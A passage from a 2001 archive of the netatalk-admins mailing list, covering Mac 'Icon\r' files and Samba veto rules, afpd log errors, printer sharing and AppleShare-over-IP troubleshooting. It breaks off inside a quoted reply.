	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id HAA19033
	for <netatalk-admins@umich.edu>; Tue, 11 Dec 2001 07:50:03 -0500 (EST)
Received: from colonyuk.demon.co.uk ([158.152.173.186] helo=colony.com)
	by anchor-post-32.mail.demon.net with esmtp (Exim 2.12 #1)
	id 16DmME-0003wR-0W
	for netatalk-admins@umich.edu; Tue, 11 Dec 2001 12:50:02 +0000
Received: from [172.20.192.150] (172.20.192.150) by colony.com with ESMTP
 (Eudora Internet Mail Server 2.2); Tue, 11 Dec 2001 12:47:44 +0100
X-Sender: shobson-lists@mail.colony.com
Message-Id: <v03102803b83b9d19c8d8@[172.20.192.150]>
In-Reply-To: <20011211115646.A27895@superfly.archi-me-des.de>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Tue, 11 Dec 2001 11:25:18 +0000
To: netatalk-admins@umich.edu
From: Simon Hobson <shobson-lists@colony.com>
Subject: Re: What is the special character at the end of the Icon^M files?


Frank Joerdens wrote:
>I mean the Icon files that the Apple clients leave all over the place
>(incidentally, does anyone know what they are for?). The bash shell
>represents it as a ?, like
>
>Icon?
>
>and the Midnight Commander, for instance, as
>
>Icon^M

If MC represents it as ^M then it is most likely a carriage return
character. You can normally get this direct from the keyboard by typing
<Ctrl-V><Ctrl-M>.

Simon

-
Simon Hobson, Technical Services Engineer
Colony Gift Corporation Limited
Lindal in Furness, Ulverston, Cumbria, LA12 0LD
Tel 01229 461100, Fax 01229 461101

Registered in England No. 1499611
Regd. Office : 100 New Bridge Street, London, EC4V 6JA.



From netatalk.administrators-errors@umich.edu  Tue Dec 11 08:05:31 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA04613
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 11 Dec 2001 08:05:31 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id IAA04002
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 11 Dec 2001 08:05:31 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id IAA03984
	for netatalk.administrators-members@umich.edu; Tue, 11 Dec 2001 08:05:30 -0500 (EST)
Received: from users.phg-online.de (users.phg-online.de [62.245.158.230])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id IAA03741
	for <netatalk-admins@umich.edu>; Tue, 11 Dec 2001 08:05:24 -0500 (EST)
Received: from localhost (tk@localhost)
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id OAA14927;
	Tue, 11 Dec 2001 14:27:27 +0100
Date: Tue, 11 Dec 2001 14:27:27 +0100 (MET)
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: Frank Joerdens <frank@joerdens.de>
cc: netatalk-admins@umich.edu
Subject: Re: What is the special character at the end of the Icon^M files?
In-Reply-To: <20011211115646.A27895@superfly.archi-me-des.de>
Message-ID: <Pine.LNX.4.10.10112111419430.14909-100000@users.phg-online.de>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

On Tue, 11 Dec 2001, Frank Joerdens wrote:

> I mean the Icon files that the Apple clients leave all over the place
> (incidentally, does anyone know what they are for?). 

If a folder has a custom icon it will be stored in this special file...

> The bash shell represents it as a ?, like
> 
> Icon?

Looks like non-printable characters are mapped to "?"

> and the Midnight Commander, for instance, as
> 
> Icon^M

It is a Macintosh carriage return aka CR (ASCII 13), therefore it displays
as ^M (M is the 13th character in the alphabet).

If you try 'man ascii' you will see that another way to write it is
"\r". So you can try to veto "Icon\r". Don't know if Samba also honors
the special signs for the first and last character in a line, so you might
try "^Icon\r$" too...
 
Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Tue Dec 11 08:38:58 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA05990
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 11 Dec 2001 08:38:57 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id IAA11746
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 11 Dec 2001 08:38:57 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id IAA11733
	for netatalk.administrators-members@umich.edu; Tue, 11 Dec 2001 08:38:56 -0500 (EST)
Received: from mta05bw.bigpond.com (mta05bw.bigpond.com [139.134.6.95])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id IAA11678
	for <netatalk-admins@umich.edu>; Tue, 11 Dec 2001 08:38:54 -0500 (EST)
Received: from wskatinka ([144.135.24.69]) by
          mta05bw.bigpond.com (Netscape Messaging Server 4.15) with SMTP
          id GO6M8400.79Q for <netatalk-admins@umich.edu>; Tue, 11 Dec
          2001 23:45:40 +1000 
Received: from 144.137.224.180 ([144.137.224.180]) by bwmam01.mailsvc.email.bigpond.com(MailRouter V3.0g 2/843532); 11 Dec 2001 23:38:46
Message-ID: <01d901c18249$e8109970$fe00a8c0@wskatinka>
From: "Kathy Quinlan" <katinka@magestower.com>
To: <netatalk-admins@umich.edu>
Subject: re error messages and printers
Date: Tue, 11 Dec 2001 21:44:02 +0800
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4807.1700
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700

Hi all,

I am using freebsd 4.3R

I am using netatalk 1.4b2+asun2.1.3  installed form the ports collection.

Two questions :

First why do I get these error messages in my /var/log/messages log, what
can I do to stop them ?

Nov 27 20:02:58 serverbsd afpd[767]: atp_rresp: Operation timed out
Nov 27 20:03:08 serverbsd afpd[767]: afp_die: asp_shutdown: Operation timed
out
Nov 27 20:03:14 serverbsd afpd[768]: atp_rresp: Operation timed out
Nov 27 20:03:24 serverbsd afpd[768]: afp_die: asp_shutdown: Operation timed
out
Dec  5 18:47:07 serverbsd afpd[3577]: setdirmode: chmod .AppleDouble:
Operation not permitted

Second, all my printers hang off a win2k box, how can I get the mac to print
to them, (I need cheap, as both my partner and I are pensioners, so funds
are limited, also with out a credit card and living in Au it makes it hard
to register software :o(()

I would prefer to do something with Freebsd to redirect the printer to the
win2k box rather than use commercial software on the win2k box to talk in
apple talk directly to the macs (I know it means an extra machine in the
process loop which is a pain to debug, but is time is not a problem I think
I can achieve this)

Regards,

Kat.


____________________________________________________________________________
 /"\   ASCII Ribbon Campaign  |        K.A.Q. Electronics
 \ / - NO HTML/RTF in e-mail | Software and Electronic Engineering
 X  - NO Word docs in e-mail  |      Perth Western Australia
 / \                                            |        Ph +61 419 923 731
____________________________________________________________________________




From netatalk.administrators-errors@umich.edu  Tue Dec 11 08:44:02 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA06099
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 11 Dec 2001 08:44:02 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id IAA15811
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 11 Dec 2001 08:44:02 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id IAA15783
	for netatalk.administrators-members@umich.edu; Tue, 11 Dec 2001 08:44:01 -0500 (EST)
Received: from users.phg-online.de (users.phg-online.de [62.245.158.230])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id IAA15737
	for <netatalk-admins@umich.edu>; Tue, 11 Dec 2001 08:44:00 -0500 (EST)
Received: from [192.168.71.119] ([192.168.71.119])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id PAA15168;
	Tue, 11 Dec 2001 15:06:19 +0100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Tue, 11 Dec 2001 14:43:54 +0100
Subject: Re: What is the special character at the end of the Icon^M files?
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: Frank Joerdens <frank@joerdens.de>, <netatalk-admins@umich.edu>
Message-ID: <B83BCC29.15EED%Thomas.Kaiser@phg-online.de>
In-Reply-To: <20011211115646.A27895@superfly.archi-me-des.de>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On Tue, 11 Dec 2001, Frank Joerdens wrote:

> I mean the Icon files that the Apple clients leave all over the place
> (incidentally, does anyone know what they are for?).

If a folder has a custom icon it will be stored in this special file...

> The bash shell represents it as a ?, like
> 
> Icon?

Looks like non-printable characters are mapped to "?"

> and the Midnight Commander, for instance, as
> 
> Icon^M

It is a Macintosh carriage return aka CR (ASCII 13), therefore it displays
as ^M (M is the 13th character in the alphabet).

If you try 'man ascii' you will see that another way to write it is
"\r". So you can try to veto "Icon\r". Don't know if Samba also honors
the special signs for the first and last character in a line, so you might
try "^Icon\r$" too...
 
Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Tue Dec 11 08:47:08 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA06276
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 11 Dec 2001 08:47:07 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id IAA00777
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 11 Dec 2001 08:47:07 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id IAA00761
	for netatalk.administrators-members@umich.edu; Tue, 11 Dec 2001 08:47:07 -0500 (EST)
Received: from trinity.magpage.com (trinity.magpage.com [216.155.0.8])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id IAA00727
	for <netatalk-admins@umich.edu>; Tue, 11 Dec 2001 08:47:05 -0500 (EST)
Received: from [216.155.36.73] ([216.155.36.73])
	by trinity.magpage.com (8.11.6/8.11.3) with ESMTP id fBBDl4533929
	for <netatalk-admins@umich.edu>; Tue, 11 Dec 2001 08:47:04 -0500 (EST)
Mime-Version: 1.0
X-Sender: ryannm@mail.magpage.com
Message-Id: <v04210102b83bbed7d8ab@[216.155.36.73]>
Date: Tue, 11 Dec 2001 08:47:08 -0500
To: netatalk-admins@umich.edu
From: Ryan McBeth <rmcbeth@mobiusnm.com>
Subject: remove
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
X-RRT-Status: UNKNOWN

remove
__________________________________
Ryan McBeth
Systems Administrator, Mobius New Media
Voice: (302) 475-9880 x11
FAX: (302) 475-9894
www.mobiusnm.com
__________________________________
You can't build a reputation on what you are going to do.
  - Henry Ford

From netatalk.administrators-errors@umich.edu  Tue Dec 11 09:49:12 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA08654
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 11 Dec 2001 09:49:12 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id JAA26907
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 11 Dec 2001 09:49:12 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id JAA26883
	for netatalk.administrators-members@umich.edu; Tue, 11 Dec 2001 09:49:11 -0500 (EST)
Received: from mail.jamesltaylor.com (mail.jamesltaylor.com [205.232.131.2])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id JAA26828
	for <netatalk-admins@umich.edu>; Tue, 11 Dec 2001 09:49:10 -0500 (EST)
Received: from CAD.jamesltaylor.com (CAD.jamesltaylor.com [205.232.131.4])
	by mail.jamesltaylor.com (8.9.3/8.8.7) with ESMTP id KAA32204
	for <netatalk-admins@umich.edu>; Tue, 11 Dec 2001 10:23:49 -0500
Date: Tue, 11 Dec 2001 09:49:01 -0500
Mime-Version: 1.0 (Apple Message framework v475)
Content-Type: text/plain; charset=US-ASCII; format=flowed
Subject: remove
From: Vic Landi <vic@mail.jamesltaylor.com>
To: netatalk-admins@umich.edu
Content-Transfer-Encoding: 7bit
Message-Id: <372B973C-EE46-11D5-AFBD-0050E499DC01@jamesltaylor.com>
X-Mailer: Apple Mail (2.475)

remove


From netatalk.administrators-errors@umich.edu  Tue Dec 11 10:47:08 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA10917
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 11 Dec 2001 10:47:08 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id KAA26775
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 11 Dec 2001 10:47:08 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id KAA26757
	for netatalk.administrators-members@umich.edu; Tue, 11 Dec 2001 10:47:07 -0500 (EST)
Received: from ksvcmail.ksvc.com ([64.30.10.241])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id KAA26703
	for <netatalk-admins@umich.edu>; Tue, 11 Dec 2001 10:47:06 -0500 (EST)
Received: by ksvcmail.ksvc.com with Internet Mail Service (5.5.2653.19)
	id <Y2MT5DQK>; Tue, 11 Dec 2001 10:41:04 -0500
Message-ID: <8B4EB63B99E19B4C953EECC8C223AD3A2D745C@ksvcmail.ksvc.com>
From: Brian Curtis <Bcurtis@KSVC.com>
To: "'netatalk-admins@umich.edu'" <netatalk-admins@umich.edu>
Subject: Apple Share of IP
Date: Tue, 11 Dec 2001 10:40:55 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C1825A.39010440"

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C1825A.39010440
Content-Type: text/plain

I am having some trouble getting AppleShare to work over  IP

I added the line

afpd : 192.168.10.1  to my hosts.allow file

Any suggestions of what else it could be?

Brian Curtis

Information Technology Manager
Red-Wire
Kelliher Samets Volk
802.862.8261


------_=_NextPart_001_01C1825A.39010440
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=US-ASCII">
<META NAME="Generator" CONTENT="MS Exchange Server version 5.5.2653.12">
<TITLE>Apple Share of IP</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=2 FACE="Arial">I am having some trouble getting AppleShare to work over&nbsp; IP</FONT>
</P>

<P><FONT SIZE=2 FACE="Arial">I added the line</FONT>
</P>

<P><I><FONT SIZE=2 FACE="Arial">afpd : 192.168.10.1</FONT></I><FONT SIZE=2 FACE="Arial">&nbsp; to my hosts.allow file</FONT>
</P>

<P><FONT SIZE=2 FACE="Arial">Any suggestions of what else it could be?</FONT>
</P>

<P><B><FONT SIZE=2 FACE="Arial">Brian Curtis</FONT></B>
</P>

<P><I><FONT SIZE=2 FACE="Arial">Information Technology Manager</FONT></I>
<BR><I><FONT SIZE=2 FACE="Arial">Red-Wire</FONT></I>
<BR><I><FONT SIZE=2 FACE="Arial">Kelliher Samets Volk</FONT></I>
<BR><I><FONT SIZE=2 FACE="Arial">802.862.8261</FONT></I>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C1825A.39010440--

From netatalk.administrators-errors@umich.edu  Tue Dec 11 11:04:56 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA11695
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 11 Dec 2001 11:04:56 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id LAA00909
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 11 Dec 2001 11:04:56 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id LAA00886
	for netatalk.administrators-members@umich.edu; Tue, 11 Dec 2001 11:04:55 -0500 (EST)
Received: from mail8.carolina.rr.com (fe8.southeast.rr.com [24.93.67.55])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id LAA00838
	for <netatalk-admins@umich.edu>; Tue, 11 Dec 2001 11:04:54 -0500 (EST)
Received: from [192.168.110.21] ([199.72.99.66]) by mail8.carolina.rr.com  with Microsoft SMTPSVC(5.5.1877.537.53);
	 Tue, 11 Dec 2001 11:04:52 -0500
Mime-Version: 1.0
X-Sender: gmac63@pop-server.carolina.rr.com
Message-Id: <a05010400b83bdc5d23d1@[192.168.110.21]>
In-Reply-To: <8B4EB63B99E19B4C953EECC8C223AD3A2D745C@ksvcmail.ksvc.com>
References: <8B4EB63B99E19B4C953EECC8C223AD3A2D745C@ksvcmail.ksvc.com>
Date: Tue, 11 Dec 2001 11:04:51 -0500
To: netatalk-admins@umich.edu
From: Wes Yates <gmac63@carolina.rr.com>
Subject: Re: Apple Share of IP
Content-Type: multipart/alternative; boundary="============_-1204035803==_ma============"

--============_-1204035803==_ma============
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

>I am having some trouble getting AppleShare to work over  IP
>
>I added the line
>
>afpd : 192.168.10.1  to my hosts.allow file
>
>Any suggestions of what else it could be?
>
>Brian Curtis
>
>Information Technology Manager
>Red-Wire
>Kelliher Samets Volk
>802.862.8261

Brian, did you install the latest netatalk? with ASIP?

how are you connecting to the server? are you using the server's IP 
(on the Mac) OR using one of the later ASIP Clients?

ASIP should be built into the later netatalks. At least as far as I've seen.

your /var/log/messages should have some lines that read something like:

Dec  9 11:10:56 nserver afpd[648]: WebServer:AFPServer@* started on 
2378.153:128 (1.5pre6)
Dec  9 11:10:56 nserver afpd[648]: ASIP started on 
192.168.110.210:548(1) (1.5pre6)

-wes yates
-- 

-Wes Yates
gmac63@carolina.rr.com
wesyates.homeip.net


The opinions stated in this email are not necessarily those of the 
League of Anti-Semitic Jews. 
--============_-1204035803==_ma============
Content-Type: text/html; charset="us-ascii"

<!doctype html public "-//W3C//DTD W3 HTML//EN">
<html><head><style type="text/css"><!--
blockquote, dl, ul, ol, li { margin-top: 0 ; margin-bottom: 0 }
 --></style><title>Re: Apple Share of IP</title></head><body>
<blockquote type="cite" cite><font face="Arial" size="-1">I am having
some trouble getting AppleShare to work over&nbsp; IP</font><br>
</blockquote>
<blockquote type="cite" cite><font face="Arial" size="-1">I added the
line</font><br>
</blockquote>
<blockquote type="cite" cite><font face="Arial" size="-1"><i>afpd :
192.168.10.1</i>&nbsp; to my hosts.allow file</font><br>
</blockquote>
<blockquote type="cite" cite><font face="Arial" size="-1">Any
suggestions of what else it could be?</font><br>
</blockquote>
<blockquote type="cite" cite><font face="Arial" size="-1"><b>Brian
Curtis</b></font><br>
</blockquote>
<blockquote type="cite" cite><font face="Arial"
size="-1"><i>Information Technology Manager</i></font><br>
<font face="Arial" size="-1"><i>Red-Wire</i></font><br>
<font face="Arial" size="-1"><i>Kelliher Samets Volk</i></font><br>
<font face="Arial" size="-1"><i>802.862.8261</i></font></blockquote>
<div><br></div>
<div>Brian, did you install the latest netatalk? with ASIP?</div>
<div><br></div>
<div>how are you connecting to the server? are you using the server's
IP (on the Mac) OR using one of the later ASIP Clients?</div>
<div><br></div>
<div>ASIP should be built into the later netatalks. At least as far as
I've seen.</div>
<div><br></div>
<div>your /var/log/messages should have some lines that read something
like:</div>
<div><br></div>
<div>Dec&nbsp; 9 11:10:56 nserver afpd[648]: WebServer:AFPServer@*
started on 2378.153:128 (1.5pre6)</div>
<div>Dec&nbsp; 9 11:10:56 nserver afpd[648]: ASIP started on
192.168.110.210:548(1) (1.5pre6)</div>
<div><br></div>
<div>-wes yates</div>

<div>-- <br>
<br>
-Wes Yates<br>
gmac63@carolina.rr.com<br>
wesyates.homeip.net<br>
<br>
<br>
The opinions stated in this email are not necessarily those of the
League of Anti-Semitic Jews.</div>
</body>
</html>
--============_-1204035803==_ma============--

From netatalk.administrators-errors@umich.edu  Tue Dec 11 11:24:01 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA12692
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 11 Dec 2001 11:24:00 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id LAA27506
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 11 Dec 2001 11:24:00 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id LAA27484
	for netatalk.administrators-members@umich.edu; Tue, 11 Dec 2001 11:24:00 -0500 (EST)
Received: from ksvcmail.ksvc.com ([64.30.10.241])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id LAA27437
	for <netatalk-admins@umich.edu>; Tue, 11 Dec 2001 11:23:58 -0500 (EST)
Received: by ksvcmail.ksvc.com with Internet Mail Service (5.5.2653.19)
	id <Y2MT5DR0>; Tue, 11 Dec 2001 11:17:56 -0500
Message-ID: <8B4EB63B99E19B4C953EECC8C223AD3A2D745E@ksvcmail.ksvc.com>
From: Brian Curtis <Bcurtis@KSVC.com>
To: "'Wes Yates'" <gmac63@carolina.rr.com>
Cc: "'netatalk-admins@umich.edu'" <netatalk-admins@umich.edu>
Subject: RE: Apple Share of IP
Date: Tue, 11 Dec 2001 11:17:54 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C1825F.6338B7D0"

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C1825F.6338B7D0
Content-Type: text/plain

I have the version of netatalk 1.4b2+asun2.1.3-6.i386
 
I get something similiar to you
 
localhost afpd[2513]:  FileServer:AFPServer@* started on 65280.153:128
(1.4b2+asun2.1.3)
localhost afpd[2513]:  ASIP started on 127.0.0.1:12000(2) (1.4b2+asun2.1.3)
localhost afpd[2517]:  session from 65280.249:246 on 65280.152.129
 
What stands out to me is my local loop back address, should that be my IP
192.168.10.57?
 
I am using Mac OS 9 and connecting through the chooser.

Brian Curtis 

Information Technology Manager 
Red-Wire 
Kelliher Samets Volk 
802.862.8261 

-----Original Message-----
From: Wes Yates [mailto:gmac63@carolina.rr.com] 
Sent: Tuesday, December 11, 2001 11:05 AM
To: netatalk-admins@umich.edu
Subject: Re: Apple Share of IP



I am having some trouble getting AppleShare to work over  IP


I added the line


afpd : 192.168.10.1  to my hosts.allow file


Any suggestions of what else it could be?


Brian Curtis


Information Technology Manager
Red-Wire
Kelliher Samets Volk
802.862.8261


Brian, did you install the latest netatalk? with ASIP?

how are you connecting to the server? are you using the server's IP (on the
Mac) OR using one of the later ASIP Clients?

ASIP should be built into the later netatalks. At least as far as I've seen.

your /var/log/messages should have some lines that read something like:

Dec  9 11:10:56 nserver afpd[648]: WebServer:AFPServer@* started on
2378.153:128 (1.5pre6)
Dec  9 11:10:56 nserver afpd[648]: ASIP started on 192.168.110.210:548(1)
(1.5pre6)

-wes yates
-- 

-Wes Yates
gmac63@carolina.rr.com
wesyates.homeip.net


The opinions stated in this email are not necessarily those of the League of
Anti-Semitic Jews.


------_=_NextPart_001_01C1825F.6338B7D0
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=US-ASCII">
<TITLE>Message</TITLE>

<STYLE type=text/css>BLOCKQUOTE {
	MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px
}
DL {
	MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px
}
UL {
	MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px
}
OL {
	MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px
}
LI {
	MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px
}
</STYLE>

<META content="MSHTML 6.00.2600.0" name=GENERATOR></HEAD>
<BODY>
<DIV><SPAN class=394100716-11122001><FONT face=Arial color=#0000ff size=2>I have 
the version of netatalk 1.4b2+asun2.1.3-6.i386</FONT></SPAN></DIV>
<DIV><SPAN class=394100716-11122001><FONT face=Arial color=#0000ff 
size=2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=394100716-11122001><FONT face=Arial color=#0000ff size=2>I get 
something similiar to you</FONT></SPAN></DIV>
<DIV><SPAN class=394100716-11122001><FONT face=Arial color=#0000ff 
size=2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=394100716-11122001><FONT face=Arial color=#0000ff 
size=2><EM>localhost afpd[2513]:&nbsp; FileServer:AFPServer@* started on 
65280.153:128 (1.4b2+asun2.1.3)</EM></FONT></SPAN></DIV>
<DIV><SPAN class=394100716-11122001><FONT face=Arial color=#0000ff 
size=2><EM>localhost afpd[2513]:&nbsp; ASIP started on 127.0.0.1:12000(2) 
(1.4b2+asun2.1.3)</EM></FONT></SPAN></DIV>
<DIV><SPAN class=394100716-11122001><FONT face=Arial color=#0000ff 
size=2><EM>localhost afpd[2517]:&nbsp; session from 65280.249:246 on 
65280.152.129</EM></FONT></SPAN></DIV>
<DIV>&nbsp;</DIV>
<DIV><SPAN class=394100716-11122001><FONT face=Arial color=#0000ff size=2>What 
stands out to me is my local loop back address, should that be my IP 
192.168.10.57?</FONT></SPAN></DIV>
<DIV><SPAN class=394100716-11122001><FONT face=Arial color=#0000ff 
size=2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=394100716-11122001><FONT face=Arial color=#0000ff size=2>I am 
using Mac OS 9 and connecting through the chooser.</FONT></SPAN></DIV><!-- Converted from text/rtf format -->
<P><SPAN lang=en-us><B><FONT face=Arial size=2>Brian Curtis</FONT></B></SPAN> 
</P>
<P><SPAN lang=en-us><I><FONT face=Arial size=2>Information Technology 
Manager</FONT></I></SPAN> <BR><SPAN lang=en-us><I><FONT face=Arial 
size=2>Red-Wire</FONT></I></SPAN> <BR><SPAN lang=en-us><I><FONT face=Arial 
size=2>Kelliher Samets Volk</FONT></I></SPAN> <BR><SPAN lang=en-us><I><FONT 
face=Arial size=2>802.862.8261</FONT></I></SPAN> </P>
<BLOCKQUOTE dir=ltr style="MARGIN-RIGHT: 0px">
  <DIV></DIV>
  <DIV class=OutlookMessageHeader lang=en-us dir=ltr align=left><FONT 
  face=Tahoma size=2>-----Original Message-----<BR><B>From:</B> Wes Yates 
  [mailto:gmac63@carolina.rr.com] <BR><B>Sent:</B> Tuesday, December 11, 2001 
  11:05 AM<BR><B>To:</B> netatalk-admins@umich.edu<BR><B>Subject:</B> Re: Apple 
  Share of IP<BR><BR></FONT></DIV>
  <BLOCKQUOTE cite="" type="cite"><FONT face=Arial size=-1>I am having some 
    trouble getting AppleShare to work over&nbsp; IP</FONT><BR></BLOCKQUOTE>
  <BLOCKQUOTE cite="" type="cite"><FONT face=Arial size=-1>I added the 
    line</FONT><BR></BLOCKQUOTE>
  <BLOCKQUOTE cite="" type="cite"><FONT face=Arial size=-1><I>afpd : 
    192.168.10.1</I>&nbsp; to my hosts.allow file</FONT><BR></BLOCKQUOTE>
  <BLOCKQUOTE cite="" type="cite"><FONT face=Arial size=-1>Any suggestions of 
    what else it could be?</FONT><BR></BLOCKQUOTE>
  <BLOCKQUOTE cite="" type="cite"><FONT face=Arial size=-1><B>Brian 
    Curtis</B></FONT><BR></BLOCKQUOTE>
  <BLOCKQUOTE cite="" type="cite"><FONT face=Arial size=-1><I>Information 
    Technology Manager</I></FONT><BR><FONT face=Arial 
    size=-1><I>Red-Wire</I></FONT><BR><FONT face=Arial size=-1><I>Kelliher 
    Samets Volk</I></FONT><BR><FONT face=Arial 
  size=-1><I>802.862.8261</I></FONT></BLOCKQUOTE>
  <DIV><BR></DIV>
  <DIV>Brian, did you install the latest netatalk? with ASIP?</DIV>
  <DIV><BR></DIV>
